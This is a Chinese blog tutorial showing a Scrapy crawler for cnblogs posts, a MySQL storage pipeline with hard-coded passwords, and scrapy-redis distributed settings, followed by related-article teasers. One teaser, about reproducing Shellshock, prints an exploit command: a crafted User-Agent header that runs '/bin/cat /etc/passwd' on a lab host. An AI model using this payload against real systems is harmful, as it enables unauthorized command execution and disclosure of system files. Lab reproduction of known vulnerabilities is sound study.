cnblogs_spider.py

普通 scrapy

# -*- coding: utf-8 -*-
import scrapy from ..items import TttItem class ChoutiSpider(scrapy.Spider):
name = 'chouti' # 爬虫名字
start_urls = ['https://www.cnblogs.com'] def parse(self, response):
div_list = response.xpath('//div[@class="post_item_body"]')
for div in div_list:
title = div.xpath('./h3/a/text()').extract_first()
url = div.xpath('./h3/a/@href').extract_first()
outline = div.css('.post_item_summary::text').extract()[-1]
author = div.xpath('./div[@class="post_item_foot"]/a/text()').extract_first() item = TttItem()
item['title'] = title
item['outline'] = outline
item['author'] = author
item['url'] = url
yield scrapy.Request(url, callback=self.get_detail, meta={'item': item}) beforeurl = response.url
print(beforeurl) # 获取最后一个 a 标签
next_url = response.xpath('//div[@class="pager"]/a[last()]/@href').extract_first()
print('next_url', next_url) yield scrapy.Request(self.start_urls[0] + next_url, callback=self.parse) # 获取文章详情
def get_detail(self, response):
content = response.xpath('//div[@id="cnblogs_post_body"]').extract_first()
if not content:
content=response.css('content').extract_first() item = response.meta.get('item')
item['content'] = content
yield item

piplines.py

import pymysql

class CnblogsSaveMysqlPipline(object):
def open_spider(self, spider):
self.conn = pymysql.connect(user='root', password='123123', db='cnblogs') def close_spider(self, spider):
self.conn.close() def process_item(self, item, spider):
cursor = self.conn.cursor()
sql = '''insert into cnb (title, outline, author, url, content) values (%s,%s,%s,%s,%s)'''
cursor.execute(sql, args=(item['title'], item['outline'], item['author'], item['url'], item['content']))
self.conn.commit()

分布式爬取

cnblogs_spider.py

# -*- coding: utf-8 -*-
import scrapy from ..items import TttItem
from scrapy.http import Request
from scrapy_redis.spiders import RedisSpider class ChoutiSpider(RedisSpider):
name = 'chouti' # 爬虫名字
allowed_domains = ['www.cnblogs.com']
redis_key = 'myspider:start_urls' def parse(self, response):
div_list = response.xpath('//div[@class="post_item_body"]')
for div in div_list:
title = div.xpath('./h3/a/text()').extract_first()
url = div.xpath('./h3/a/@href').extract_first()
outline = div.css('.post_item_summary::text').extract()[-1]
author = div.xpath('./div[@class="post_item_foot"]/a/text()').extract_first() item = TttItem()
item['title'] = title
item['outline'] = outline
item['author'] = author
item['url'] = url
yield Request(url, callback=self.get_detail, meta={'item': item}) beforeurl = response.url
print(beforeurl) # 获取最后一个 a 标签
next = response.css('div.pager a:last-child::attr(href)').extract_first()
# print('https://www.cnblogs.com/'+next)
print('----爬取下一页地址', next)
yield Request('https://www.cnblogs.com/' + next) def get_detail(self, response):
content = response.xpath('//div[@id="cnblogs_post_body"]').extract_first()
if not content:
content=response.css('content').extract_first() item = response.meta.get('item')
item['content'] = content
yield item

settings.py

# Enables scheduling storing requests queue in redis.
SCHEDULER = "scrapy_redis.scheduler.Scheduler" # Ensure all spiders share same duplicates filter through redis.
DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter" REDIS_PARAMS = {'password':'redis123'}

cnblogs 博客爬取 + scrapy + 持久化 + 分布式的更多相关文章

  1. scrapy 博客爬取

    item.py import scrapy class FulongpjtItem(scrapy.Item): # define the fields for your item here like: ...

  2. 使用org-mode写cnblogs博客

    使用org-mode写cnblogs博客 */--> pre.src {background-color: #002b36; color: #839496;} pre.src {backgrou ...

  3. 把cnblogs变成简书 - cnblogs博客自定义皮肤css样式

    吐槽 博客园cnblogs作为老牌的IT技术博客类网站,为广大的开发者提供了非常不错的学习交流平台. 虽然博客内容才是重点,但是如果有赏心悦目的页面不更好吗! cnblogs可以更换博客模板,并且提供 ...

  4. cnblogs博客申请完毕,以后再这里安家落户

    cnblogs博客申请完毕,以后再这里安家落户,之前的博客就不转载了,好好搞技术,安稳过日子.

  5. 使用自己的域名解析cnblogs博客(CSDN也可以)

    本文主要介绍怎样使用自己购买的域名指向cnblogs博客 通常来说技术人员都会创建个自己的技术博客,总结下工作中的问题,经验等等,不过某些博客的访问链接的确是不太容易记忆或者输入,对我们分享造成一定的 ...

  6. 使用自己的域名解析 cnblogs 博客

    使用自己的域名解析 cnblogs 博客(博客园) 1.实现原理 用户访问 -> 阿里云解析 -> github page 跳转 -> 真实的博客地址 2.创建 github pag ...

  7. cnblogs博客迁移到hexo

    cnblogs博客备份 备份地址:https://i.cnblogs.com/BlogBackup.aspx?type=1 备份文件为xml格式,打开备份文件,如下所示: <?xml versi ...

  8. 利用Word发布文章到cnblogs博客

    利用Word发布文章到cnblogs博客 用博客园cnblogs:http://www.cnblogs.com/博客名称/services/metablogapi.aspx,word老是提醒" ...

  9. org-mode 写 cnblogs 博客

    1. 为什么用org-mode写博客 我最开始用Emacs, 是因为org-mode.这是一个专注于写,而让我忽略展示结果的一种写作方式.为 什么这么说?因为所有内容的格式都是可定制的.按照自己喜欢的 ...

随机推荐

  1. 9.5 Go 依赖管理

    9.5 Go 依赖管理 godep是解决包依赖的管理工具,目前最主流的一种,原理是扫描记录版本控制的信息. A. 所有的第三方包都放在$GOPATH的src目录下. B. 如果不同程序依赖的版本不一样 ...

  2. 自定义docker的镜像

  3. 对比Memcached和Redis,谁才是适合你的缓存?

    Memcached vs Redis 近期公司采购软件,评估时,某软件谈到使用了 Memcached 和 Redis 缓存.在本文中,将研究这两个流行的缓存的异同,方便理解和记忆. 1. Memcac ...

  4. mysql事务与锁机制详解

    一.事务 1.事务简介 (1)事务的场景 转账:一个账户减少,另一个账户增加.两个动作同时成功或者同时失败.就要开启事务. (2)事务定义 事务是数据库管理系统执行过程中的一个逻辑单元,由一个有限的数 ...

  5. poj3680 最大权不相交路径

    Intervals Time Limit: 5000MS   Memory Limit: 65536K Total Submissions: 8587   Accepted: 3662 Descrip ...

  6. node进程间通信

    作为一名合格的程序猿/媛,对于进程.线程还是有必要了解一点的,本文将从下面几个方向进行梳理,尽量做到知其然并知其所以然: 进程和线程的概念和关系 进程演进 进程间通信 理解底层基础,助力上层应用 进程 ...

  7. git简单的使用步骤

    Git介绍 Git是分布式版本控制系统 集中式VS分布式,SVN VS Git 1)SVN和Git主要的区别在于历史版本维护的位置 2)这两个工具主要的区别在于历史版本维护的位置Git本地仓库包含代码 ...

  8. Eclipse中java文件选中变量名,相同变量都变色显示 .

    第一步设置高亮显示的颜色: Window-->preferences-->General-->Editors-->Text Editors-->Annotations-- ...

  9. [安卓自动化测试] 001.UIAutomator初探

    *:first-child { margin-top: 0 !important; } body > *:last-child { margin-bottom: 0 !important; } ...

  10. Shellshock漏洞复现

    漏洞分析: exp: curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://172.16.20.134:8080/victi ...